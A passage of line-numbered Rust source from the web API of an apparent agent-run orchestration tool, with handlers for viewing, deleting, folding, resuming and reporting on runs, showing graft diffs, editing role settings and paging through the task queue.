3985fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3990 let open_runs: HashSet<String> = ui
3991 .questions
3992 .list()
3993 .into_iter()
3994 .filter(|q| q.status.open())
3995 .map(|q| q.run)
3996 .collect();
3997 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3998 .into_iter()
3999 .map(|c| c.run)
4000 .collect();
4001 (open_runs, claimed, ui.queue.superseded())
4002}
4003
4004fn summarize<I, S, D>(
4010 states: I,
4011 open_runs: &HashSet<String>,
4012 claimed: &HashSet<String>,
4013 superseded: &HashMap<String, String>,
4014 mut status_q: S,
4015 mut identity_q: D,
4016) -> Vec<RunSummary>
4017where
4018 I: IntoIterator<Item = RunState>,
4019 S: FnMut(u32) -> Option<bool>,
4020 D: FnMut(u32) -> Option<String>,
4021{
4022 states
4023 .into_iter()
4024 .map(|state| {
4025 let waiting = open_runs.contains(&state.id);
4026 let live =
4027 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4028 let mut row = RunSummary::of(&state, waiting, live);
4029 row.superseded_by = state
4030 .pr_taken_over_by
4031 .as_ref()
4032 .or_else(|| superseded.get(&state.id))
4033 .map(String::as_str)
4034 .map(crate::run::short_of)
4035 .map(str::to_owned);
4036 row.badge_status = run_badge_status(
4037 &state,
4038 &row.display_status,
4039 live,
4040 row.superseded_by.is_some(),
4041 );
4042 row
4043 })
4044 .collect()
4045}
4046
4047#[derive(Debug, Serialize)]
4054struct RunDetailView {
4055 progress: crate::run_progress::Progress,
4056 stop_reason: Option<String>,
4057 #[serde(flatten)]
4058 state: RunState,
4059 instruction_md: Vec<md::Node>,
4060 #[serde(flatten)]
4064 prose_md: RunProseMd,
4065 live: crate::run::Liveness,
4080 unmerged_by_design: bool,
4085 #[serde(default)]
4087 waiting: bool,
4088 #[serde(default)]
4090 display_status: String,
4091 #[serde(default)]
4093 badge_status: String,
4094 done: bool,
4099 superseded_by: Option<String>,
4107 latest_attempt: Option<LatestAttempt>,
4121 task: Option<TaskRef>,
4124 origin_label: String,
4128 pass_views: Vec<PassView>,
4131}
4132
4133#[derive(Debug, Serialize)]
4135struct TaskRef {
4136 id: String,
4137 short: String,
4138 title: String,
4139 source_label: String,
4141 source_link: Option<SourceLink>,
4143 status: &'static str,
4145 attempts: usize,
4146 max_attempts: usize,
4147 is_latest: bool,
4149 latest: Option<RunBrief>,
4151 finished_by: Option<RunBrief>,
4153 closed_by_hand: bool,
4155}
4156
4157#[derive(Debug, PartialEq, Eq, Serialize)]
4159struct SourceLink {
4160 kind: &'static str,
4162 id: String,
4164 href: String,
4166}
4167
4168fn encode_segment(raw: &str) -> String {
4170 let mut out = String::with_capacity(raw.len());
4171 for b in raw.bytes() {
4172 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4173 out.push(b as char);
4174 } else {
4175 out.push_str(&format!("%{b:02X}"));
4176 }
4177 }
4178 out
4179}
4180
4181fn source_link(source: &Source) -> Option<SourceLink> {
4185 let Source::Agent { run, node } = source else {
4186 return None;
4187 };
4188 let (kind, route) = if node == crate::queue::CHAT_NODE {
4189 ("chat", "chat")
4190 } else {
4191 ("run", "runs")
4192 };
4193 Some(SourceLink {
4194 kind,
4195 id: run.clone(),
4196 href: id_links::page_href(route, run),
4197 })
4198}
4199
4200#[derive(Debug, Serialize, PartialEq)]
4202struct FollowUpParent {
4203 id: String,
4204 short: String,
4205 title: String,
4206 status: &'static str,
4208 href: String,
4209}
4210
4211#[derive(Debug, Serialize, PartialEq)]
4213struct FollowUpRun {
4214 id: String,
4215 short: String,
4216 status: Option<&'static str>,
4218 href: Option<String>,
4220}
4221
4222#[derive(Debug, Serialize, PartialEq)]
4225struct FollowUpOrigin {
4226 parent: Option<FollowUpParent>,
4228 run: FollowUpRun,
4229 pr: String,
4234 findings: Vec<String>,
4235 generation: u32,
4236}
4237
4238fn followup_origin(
4241 fu: &crate::queue::FollowUp,
4242 task: impl Fn(&str) -> Option<Task>,
4243 run: impl Fn(&str) -> Option<RunState>,
4244) -> FollowUpOrigin {
4245 let parent = fu
4246 .origin_task
4247 .as_deref()
4248 .and_then(task)
4249 .map(|t| FollowUpParent {
4250 short: t.short().to_owned(),
4251 href: format!("#/tasks/{}", encode_segment(&t.id)),
4252 status: t.status.as_str(),
4253 title: t.title,
4254 id: t.id,
4255 });
4256 let state = run(&fu.run);
4257 FollowUpOrigin {
4258 parent,
4259 run: FollowUpRun {
4260 short: run::short_of(&fu.run).to_owned(),
4261 status: state.as_ref().map(|s| s.status.as_str()),
4262 href: state
4263 .is_some()
4264 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4265 id: fu.run.clone(),
4266 },
4267 pr: fu.pr.clone(),
4268 findings: fu.findings.clone(),
4269 generation: fu.generation,
4270 }
4271}
4272
4273#[derive(Debug, Serialize)]
4275struct RunBrief {
4276 id: String,
4277 short: String,
4278 status: Option<&'static str>,
4280 outcome: String,
4282 badge: Option<String>,
4284}
4285
4286fn task_outcome(
4289 task: &Task,
4290 this_run: &str,
4291 max_attempts: usize,
4292 read: impl Fn(&str) -> Option<RunState>,
4293) -> TaskRef {
4294 let max_attempts = task.effective_attempt_limit(max_attempts);
4295 let history = task_history(task, read);
4296 let brief = |h: &TaskRunView| RunBrief {
4297 id: h.id.clone(),
4298 short: h.short.clone(),
4299 status: h.status,
4300 outcome: h.exit.edge_label(h.status),
4301 badge: h.badge.clone(),
4302 };
4303 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4304 let latest = if is_latest {
4305 None
4306 } else {
4307 history.last().map(brief)
4308 };
4309 let done = task.status == TaskStatus::Done;
4310 let finished_by = done
4311 .then(|| {
4312 history
4313 .iter()
4314 .rev()
4315 .find(|h| {
4316 matches!(
4317 h.exit,
4318 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4319 )
4320 })
4321 .map(brief)
4322 })
4323 .flatten();
4324 TaskRef {
4325 short: task.short().to_owned(),
4326 title: task.title.clone(),
4327 id: task.id.clone(),
4328 source_label: task.source.label(),
4329 source_link: source_link(&task.source),
4330 status: task.status.as_str(),
4331 attempts: task.attempts,
4332 max_attempts,
4333 is_latest,
4334 latest,
4335 closed_by_hand: done && finished_by.is_none(),
4336 finished_by,
4337 }
4338}
4339
4340#[derive(Debug, Serialize)]
4342struct LatestAttempt {
4343 id: String,
4344 short: String,
4345 resolved: bool,
4356 status: RunStatus,
4359 done: bool,
4361}
4362
4363#[derive(Debug, Default, Serialize)]
4365struct RunProseMd {
4366 advice_md: Option<AdviceMd>,
4368 candidate_summaries_md: Vec<Vec<md::Node>>,
4370 reviews_md: Vec<RoundMd>,
4372}
4373
4374#[derive(Debug, Default, Serialize)]
4375struct AdviceMd {
4376 synthesis: Vec<md::Node>,
4377 approaches: Vec<Vec<md::Node>>,
4379}
4380
4381#[derive(Debug, Default, Serialize)]
4382struct RoundMd {
4383 reviewers: Vec<ReviewerMd>,
4385 reconsideration: Vec<Vec<md::Node>>,
4387 fix: Option<FixMd>,
4388}
4389
4390#[derive(Debug, Default, Serialize)]
4391struct ReviewerMd {
4392 summary: Vec<md::Node>,
4393 findings: Vec<Vec<md::Node>>,
4395}
4396
4397#[derive(Debug, Default, Serialize)]
4398struct FixMd {
4399 notes: Vec<md::Node>,
4400 rejected: Vec<Vec<md::Node>>,
4402}
4403
4404fn run_prose_md(state: &RunState) -> RunProseMd {
4406 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4407 RunProseMd {
4408 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4409 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4410 approaches: a
4411 .records
4412 .iter()
4413 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4414 .collect(),
4415 }),
4416 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4417 reviews_md: state
4418 .reviews
4419 .iter()
4420 .map(|round| RoundMd {
4421 reviewers: round
4422 .reviews
4423 .iter()
4424 .map(|rec| ReviewerMd {
4425 summary: nodes(&rec.summary),
4426 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4427 })
4428 .collect(),
4429 reconsideration: round
4430 .reconsideration
4431 .iter()
4432 .map(|rv| nodes(&rv.reason))
4433 .collect(),
4434 fix: round.fix.as_ref().map(|fix| FixMd {
4435 notes: nodes(&fix.notes),
4436 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4437 }),
4438 })
4439 .collect(),
4440 }
4441}
4442
4443impl RunDetailView {
4444 fn of(
4445 state: RunState,
4446 waiting: bool,
4447 live: crate::run::Liveness,
4448 superseded_by: Option<String>,
4449 latest_attempt: Option<LatestAttempt>,
4450 task: Option<TaskRef>,
4451 ) -> Self {
4452 let display_status = run_display_status(&state, waiting, live);
4453 let stop_reason = crate::stop_reason::of(
4454 &state,
4455 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4456 );
4457 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4458 Self {
4459 progress: crate::run_progress::build(&state, live, waiting),
4460 stop_reason,
4461 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4462 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4463 prose_md: run_prose_md(&state),
4464 origin_label: crate::run::origin_label(state.origin.as_ref()),
4465 live,
4466 unmerged_by_design: state.unmerged_by_design(),
4467 waiting,
4468 display_status,
4469 badge_status,
4470 done: state.status.done(),
4471 superseded_by,
4472 latest_attempt,
4473 task,
4474 state,
4475 }
4476 }
4477}
4478
4479async fn run_core(
4481 State(ui): State<Arc<Ui>>,
4482 Path(id): Path<String>,
4483) -> ApiResult<Json<RunDetailView>> {
4484 blocking(move || {
4485 let id = resolve_run(&ui.runs, &id)?;
4486 let state = read_run(&ui.runs, &id)?;
4487 Ok(Json(RunDetailView::of(
4488 state,
4489 false,
4490 crate::run::Liveness::Unknown,
4491 None,
4492 None,
4493 None,
4494 )))
4495 })
4496 .await
4497}
4498
4499async fn run_progress(
4501 State(ui): State<Arc<Ui>>,
4502 Path(id): Path<String>,
4503) -> ApiResult<Json<serde_json::Value>> {
4504 blocking(move || {
4505 let id = resolve_run(&ui.runs, &id)?;
4506 let state = read_run(&ui.runs, &id)?;
4507 let live = state.liveness(crate::daemon::is_working_on(
4508 &ui.home,
4509 &id,
4510 Timestamp::now(),
4511 ));
4512 let waiting = !ui.questions.open_for(&id).is_empty();
4513 Ok(Json(serde_json::json!({
4514 "id": id, "updated_at": state.updated_at, "live": live,
4515 "observed_at": Timestamp::now(),
4516 "progress": crate::run_progress::build(&state, live, waiting),
4517 })))
4518 })
4519 .await
4520}
4521
4522async fn run_detail(
4523 State(ui): State<Arc<Ui>>,
4524 Path(id): Path<String>,
4525) -> ApiResult<Json<RunDetailView>> {
4526 blocking(move || {
4527 let id = resolve_run(&ui.runs, &id)?;
4528 let state = read_run(&ui.runs, &id)?;
4529 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4530 let live = state.liveness(daemon_claims);
4531 crate::queue::record_ids(ui.questions.root(), "json")?;
4532 let waiting = ui
4533 .questions
4534 .list()
4535 .iter()
4536 .any(|q| q.run == id && q.status.open());
4537 let max_attempts = daemon::Opts::default().max_attempts;
4538
4539 let matching_task = ui.find_task_for_run(&id)?;
4540
4541 let superseded_by = state
4542 .pr_taken_over_by
4543 .clone()
4544 .or_else(|| {
4545 matching_task
4546 .as_ref()
4547 .and_then(|t| t.successor_of(&id).cloned())
4548 })
4549 .as_deref()
4550 .map(crate::run::short_of)
4551 .map(str::to_owned);
4552
4553 let latest_attempt = matching_task
4557 .as_ref()
4558 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4559 .and_then(|head_id| {
4560 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4561 short: head.short().to_owned(),
4562 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4563 status: head.status,
4564 done: head.status.done(),
4565 id: head.id,
4566 })
4567 });
4568
4569 let task = matching_task
4570 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4571
4572 Ok(Json(RunDetailView::of(
4573 state,
4574 waiting,
4575 live,
4576 superseded_by,
4577 latest_attempt,
4578 task,
4579 )))
4580 })
4581 .await
4582}
4583
4584async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4593 let (id, unreadable) = {
4594 let ui = Arc::clone(&ui);
4595 blocking(move || {
4596 let id = resolve_run(&ui.runs, &id)?;
4597 match read_run(&ui.runs, &id) {
4598 Ok(state) => {
4599 let in_flight =
4600 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4601 state
4602 .ensure_can_delete(in_flight)
4603 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4604 let dir = ui.runs.join(&id);
4605 std::fs::remove_dir_all(&dir)
4606 .with_context(|| format!("remove run directory {}", dir.display()))?;
4607 Ok((id, false))
4608 }
4609 Err(_) => {
4610 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4614 return Err(ApiError::conflict(format!(
4615 "run {id} is being worked on by a live daemon right now"
4616 )));
4617 }
4618 Ok((id, true))
4619 }
4620 }
4621 })
4622 .await?
4623 };
4624 if unreadable {
4625 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4626 .await
4627 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4628 }
4629 let ui = Arc::clone(&ui);
4630 let done = id.clone();
4631 blocking(move || {
4632 ui.questions.abandon_for_run(
4635 &done,
4636 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4637 )?;
4638 Ok(())
4639 })
4640 .await?;
4641 Ok(StatusCode::NO_CONTENT)
4642}
4643
4644async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4668 let (id, state) = {
4669 let ui = Arc::clone(&ui);
4670 blocking(move || {
4671 let id = resolve_run(&ui.runs, &id)?;
4672 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4673 return Err(ApiError::conflict(format!(
4674 "run {id} is being worked on by a live daemon right now"
4675 )));
4676 }
4677 let state = read_run(&ui.runs, &id).ok();
4678 Ok((id, state))
4679 })
4680 .await?
4681 };
4682 let removed = match state {
4683 Some(mut state) => {
4684 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4685 .await
4686 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4687 if removed.is_empty() {
4692 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4693 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4694 }
4695 removed
4696 }
4697 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4698 .await
4699 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4700 };
4701 Ok(Json(FoldView {
4702 run: id,
4703 removed_count: removed.len(),
4704 removed,
4705 }))
4706}
4707
4708#[derive(Debug, Serialize)]
4710struct FoldView {
4711 run: String,
4712 removed: Vec<String>,
4714 removed_count: usize,
4715}
4716
4717#[derive(Debug, Deserialize)]
4720struct FoldMergedBody {
4721 #[serde(default)]
4722 pr_url: String,
4723}
4724
4725async fn run_fold_merged(
4745 State(ui): State<Arc<Ui>>,
4746 Path(id): Path<String>,
4747 Json(body): Json<FoldMergedBody>,
4748) -> ApiResult<Json<FoldMergedView>> {
4749 let pr_url = body.pr_url.trim().to_owned();
4750 if pr_url.is_empty() {
4751 return Err(ApiError::bad_request("pr_url is required"));
4752 }
4753 let (id, mut state) = {
4754 let ui = Arc::clone(&ui);
4755 blocking(move || {
4756 let id = resolve_run(&ui.runs, &id)?;
4757 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4758 return Err(ApiError::conflict(format!(
4759 "run {id} is being worked on by a live daemon right now"
4760 )));
4761 }
4762 let state = read_run(&ui.runs, &id)?;
4763 Ok((id, state))
4764 })
4765 .await?
4766 };
4767 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4768 .await
4769 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4770 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4771 .await
4772 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4773 Ok(Json(FoldMergedView {
4774 run: id,
4775 before: before.as_str().to_owned(),
4776 after: after.as_str().to_owned(),
4777 removed,
4778 }))
4779}
4780
4781#[derive(Debug, Serialize)]
4783struct FoldMergedView {
4784 run: String,
4785 before: String,
4787 after: String,
4789 removed: Vec<String>,
4791}
4792
4793async fn run_resume(
4813 State(ui): State<Arc<Ui>>,
4814 Path(id): Path<String>,
4815) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4816 let admission = ui.begin_admission()?;
4817 admitted(admission, async move {
4818 let (id, state) = {
4819 let ui = Arc::clone(&ui);
4820 blocking(move || {
4821 let id = resolve_run(&ui.runs, &id)?;
4822 let state = read_run(&ui.runs, &id)?;
4823 Ok((id, state))
4824 })
4825 .await?
4826 };
4827 crate::resume::validate_unqueued(&ui.home, &id)
4828 .map_err(|e| ApiError::conflict(e.to_string()))?;
4829 let _resume = ui.begin_resume(&id)?;
4830
4831 crate::resume::start(&ui.home, id.clone())
4832 .await
4833 .map_err(ApiError::from)?;
4834 let queued = RunSummary::of(
4837 &state,
4838 !ui.questions.open_for(&id).is_empty(),
4839 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4840 );
4841 Ok((StatusCode::ACCEPTED, Json(queued)))
4842 })
4843 .await
4844}
4845
4846async fn run_report(
4847 State(ui): State<Arc<Ui>>,
4848 Path(id): Path<String>,
4849) -> ApiResult<impl IntoResponse> {
4850 let text = blocking(move || {
4851 let id = resolve_run(&ui.runs, &id)?;
4852 let state = read_run(&ui.runs, &id)?;
4856 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4857 let live = state.liveness(daemon_claims);
4858 Ok(format!(
4859 "{}{}",
4860 report::run(&state),
4861 report::active_seats(&state, live)
4862 ))
4863 })
4864 .await?;
4865 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4866}
4867
4868async fn run_report_json(
4872 State(ui): State<Arc<Ui>>,
4873 Path(id): Path<String>,
4874) -> ApiResult<Json<crate::report_view::RunReportView>> {
4875 let view = blocking(move || {
4876 let id = resolve_run(&ui.runs, &id)?;
4877 let state = read_run(&ui.runs, &id)?;
4878 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4879 let recovered = state.graft.as_ref().map(|_| {
4881 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4882 });
4883 Ok(crate::report_view::build_with(
4884 &state,
4885 state.liveness(daemon_claims),
4886 recovered.as_ref(),
4887 ))
4888 })
4889 .await?;
4890 Ok(Json(view))
4891}
4892
4893const GRAFT_DIFF_MAX: usize = 400 * 1024;
4895const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4897
4898async fn run_graft_diff(
4901 State(ui): State<Arc<Ui>>,
4902 Path(id): Path<String>,
4903) -> ApiResult<impl IntoResponse> {
4904 let (repo, pre, post) = blocking(move || {
4905 let id = resolve_run(&ui.runs, &id)?;
4906 let state = read_run(&ui.runs, &id)?;
4907 let g = state
4908 .graft
4909 .as_ref()
4910 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4911 let post = g
4912 .post
4913 .clone()
4914 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4915 Ok((state.repo.clone(), g.pre.clone(), post))
4916 })
4917 .await?;
4918 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4919 if !hex(&pre) || !hex(&post) {
4920 return Err(ApiError::not_found("the recorded commits are not valid"));
4921 }
4922 let out = tokio::time::timeout(
4923 GRAFT_DIFF_TIMEOUT,
4924 crate::git::git_raw(
4925 &repo,
4926 &[
4927 "diff",
4928 "--no-color",
4929 "--no-ext-diff",
4930 "-M",
4931 &pre,
4932 &post,
4933 "--",
4934 ],
4935 ),
4936 )
4937 .await
4938 .map_err(|_| ApiError::not_found("git diff timed out"))?
4939 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4940 if out.code != Some(0) {
4941 return Err(ApiError::not_found(
4942 "the recorded commits are no longer in the repository",
4943 ));
4944 }
4945 let mut body = out.stdout;
4946 if body.len() > GRAFT_DIFF_MAX {
4947 let mut cut = GRAFT_DIFF_MAX;
4948 while !body.is_char_boundary(cut) {
4949 cut -= 1;
4950 }
4951 body.truncate(cut);
4952 body.push_str("\n... diff truncated ...");
4953 }
4954 Ok((
4955 [
4956 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4957 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4958 ],
4959 body,
4960 ))
4961}
4962
4963#[derive(Debug, Serialize)]
4969struct TaskView {
4970 #[serde(flatten)]
4971 task: Task,
4972 source_label: String,
4973 source_link: Option<SourceLink>,
4974 status_str: &'static str,
4975 instruction_md: Vec<md::Node>,
4979 waits_on: Vec<String>,
4983 stuck_roots: Vec<String>,
4986}
4987
4988impl From<Task> for TaskView {
4989 fn from(task: Task) -> Self {
4990 Self {
4991 source_label: task.source.label(),
4992 source_link: source_link(&task.source),
4993 status_str: task.status.as_str(),
4994 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4995 waits_on: Vec::new(),
4996 stuck_roots: Vec::new(),
4997 task,
4998 }
4999 }
5000}
5001
5002impl TaskView {
5003 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5004 let waits_on = inv.waits_on(&task);
5005 let stuck_roots = inv
5006 .stuck_roots(&task)
5007 .iter()
5008 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5009 .collect();
5010 Self {
5011 waits_on,
5012 stuck_roots,
5013 ..Self::from(task)
5014 }
5015 }
5016}
5017
5018#[derive(Debug, Default, Deserialize)]
5021#[serde(default)]
5022struct ReposQuery {
5023 refresh: u8,
5024}
5025
5026async fn repos_list(
5033 State(ui): State<Arc<Ui>>,
5034 Query(q): Query<ReposQuery>,
5035) -> ApiResult<Json<Vec<repos::Repo>>> {
5036 let refresh = q.refresh != 0;
5037 blocking(move || {
5038 let (cfg, _) = Config::discover(&ui.repo, None)?;
5039 Ok(Json(ui.repos_cache.list(
5040 &cfg.repos.roots,
5041 Duration::from_secs(cfg.repos.scan_ttl),
5042 refresh,
5043 )))
5044 })
5045 .await
5046}
5047
5048#[derive(Debug, Default, Deserialize)]
5050struct SettingsQuery {
5051 repo: Option<PathBuf>,
5052}
5053
5054fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5058 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5059 let paths: Vec<PathBuf> = ui
5060 .machine_config
5061 .iter()
5062 .filter(|p| p.is_file())
5063 .cloned()
5064 .collect();
5065 if paths.is_empty() {
5066 Ok(Config::autodetected())
5067 } else {
5068 Config::load_layers(&paths)
5069 }
5070 });
5071 let mut known = cfg
5072 .map(|cfg| {
5073 ui.repos_cache.list(
5074 &cfg.repos.roots,
5075 Duration::from_secs(cfg.repos.scan_ttl),
5076 refresh,
5077 )
5078 })
5079 .unwrap_or_default();
5080 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5081 if !known.iter().any(|r| r.path == path) {
5082 known.push(repos::Repo {
5083 name: path
5084 .file_name()
5085 .unwrap_or_default()
5086 .to_string_lossy()
5087 .into_owned(),
5088 path,
5089 });
5090 }
5091 known
5092}
5093
5094fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5095 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5096 let canonical = requested.canonicalize().ok();
5097 let mut known = settings_repositories(ui, false);
5098 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5099 if !known.iter().any(matches) {
5100 known = settings_repositories(ui, true);
5101 }
5102 let repo = known
5103 .iter()
5104 .find(|r| matches(r))
5105 .map(|r| r.path.clone())
5106 .ok_or_else(|| ApiError {
5107 text_reason: None,
5108 status: StatusCode::UNPROCESSABLE_ENTITY,
5109 message: "Choose a known repository from the Settings selector.".to_owned(),
5110 })?;
5111 Ok((repo, known))
5112}
5113
5114async fn settings_get(
5118 State(ui): State<Arc<Ui>>,
5119 Query(q): Query<SettingsQuery>,
5120) -> ApiResult<Json<settings::SettingsView>> {
5121 blocking(move || {
5122 let (repo, known) = settings_context(&ui, q)?;
5123 Ok(Json(settings::view_with_repos(
5124 &repo,
5125 ui.machine_config.as_deref(),
5126 &known,
5127 )))
5128 })
5129 .await
5130}
5131
5132#[derive(Debug, Deserialize)]
5134#[serde(deny_unknown_fields)]
5135struct RolesBody {
5136 revision: String,
5138 #[serde(default)]
5140 roles: std::collections::BTreeMap<String, Vec<String>>,
5141 #[serde(default)]
5145 counts: std::collections::BTreeMap<String, serde_json::Value>,
5146}
5147
5148async fn settings_put_roles(
5154 State(ui): State<Arc<Ui>>,
5155 Query(q): Query<SettingsQuery>,
5156 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5157) -> ApiResult<Json<settings::SettingsView>> {
5158 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5159 blocking(move || {
5160 let (repo, known) = settings_context(&ui, q)?;
5161 settings::save_with_repos(
5162 &repo,
5163 ui.machine_config.as_deref(),
5164 &body.revision,
5165 &body.roles,
5166 &body.counts,
5167 &known,
5168 )
5169 .map(Json)
5170 .map_err(|e| match e {
5171 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5172 settings::SaveError::Refused(m) => ApiError {
5173 text_reason: None,
5174 status: StatusCode::UNPROCESSABLE_ENTITY,
5175 message: m,
5176 },
5177 settings::SaveError::Internal(m) => ApiError::internal(m),
5178 })
5179 })
5180 .await
5181}
5182
5183async fn queue_list(
5184 State(ui): State<Arc<Ui>>,
5185 Query(q): Query<ListQuery>,
5186) -> ApiResult<Json<Vec<TaskView>>> {
5187 blocking(move || {
5188 let tasks = ui.queue.list();
5189 let inv =
5190 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5191 Ok(Json(
5192 tasks
5193 .into_iter()
5194 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5195 .map(|t| TaskView::with_inventory(t, &inv))
5196 .collect(),
5197 ))
5198 })
5199 .await
5200}
5201
5202#[derive(Debug, Default, Deserialize)]
5207struct PageQuery {
5208 before: Option<String>,
5209}
5210
5211#[derive(Serialize)]
5212struct StorePage<T> {
5213 rows: Vec<T>,
5214 next: Option<String>,
5215}
5216
5217const STORE_PAGE_SIZE: usize = 16;
5218
5219#[derive(Debug)]
5223struct ListWalk {
5224 token: u64,
5225 talks: bool,
5226 opened: std::time::Instant,
5227 ids: Arc<Vec<String>>,
5228 initial_end: usize,
5229}
5230
5231fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5232 page_ids_with(ui, talks, q, open_talk_ids)
5233}
5234
5235fn page_ids_with(
5236 ui: &Ui,
5237 talks: bool,
5238 q: PageQuery,
5239 classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5240) -> ApiResult<(Vec<String>, Option<String>)> {
5241 let mut walks = ui
5242 .monitor
5243 .list_walks
5244 .lock()
5245 .unwrap_or_else(PoisonError::into_inner);
5246 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5247 let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5248 let (token, offset) = cursor
5249 .split_once(':')
5250 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5251 let token = token
5252 .parse::<u64>()
5253 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5254 let offset = offset
5255 .parse::<usize>()
5256 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5257 let walk = walks
5258 .iter()
5259 .find(|walk| walk.token == token && walk.talks == talks)
5260 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5261 (token, walk.ids.clone(), offset, walk.initial_end)
5262 } else {
5263 drop(walks);
5266 let root = if talks {
5267 ui.talks.root()
5268 } else {
5269 ui.queue.root()
5270 };
5271 let mut ids = crate::queue::record_ids(root, "json")?;
5272 ids.sort_unstable_by(|a, b| b.cmp(a));
5273 let initial_end = if talks {
5274 let open = classify(ui, &ids);
5275 ids.sort_by_key(|id| !open.contains(id));
5278 open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5279 } else {
5280 STORE_PAGE_SIZE.min(ids.len())
5281 };
5282 let ids = Arc::new(ids);
5283 walks = ui
5284 .monitor
5285 .list_walks
5286 .lock()
5287 .unwrap_or_else(PoisonError::into_inner);
5288 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5289 let mut token = crate::rng::entropy();
5290 while walks.iter().any(|walk| walk.token == token) {
5291 token = crate::rng::entropy();
5292 }
5293 if walks.len() >= 16 {
5296 walks.remove(0);
5297 }
5298 walks.push(ListWalk {
5299 token,
5300 talks,
5301 opened: std::time::Instant::now(),
5302 ids: ids.clone(),
5303 initial_end,
5304 });
5305 (token, ids, 0, initial_end)
5306 };
5307 if offset > ids.len() {
5308 return Err(ApiError::bad_request("Invalid list cursor"));
5309 }
5310 let end = if offset == 0 {
5311 initial_end
5312 } else {
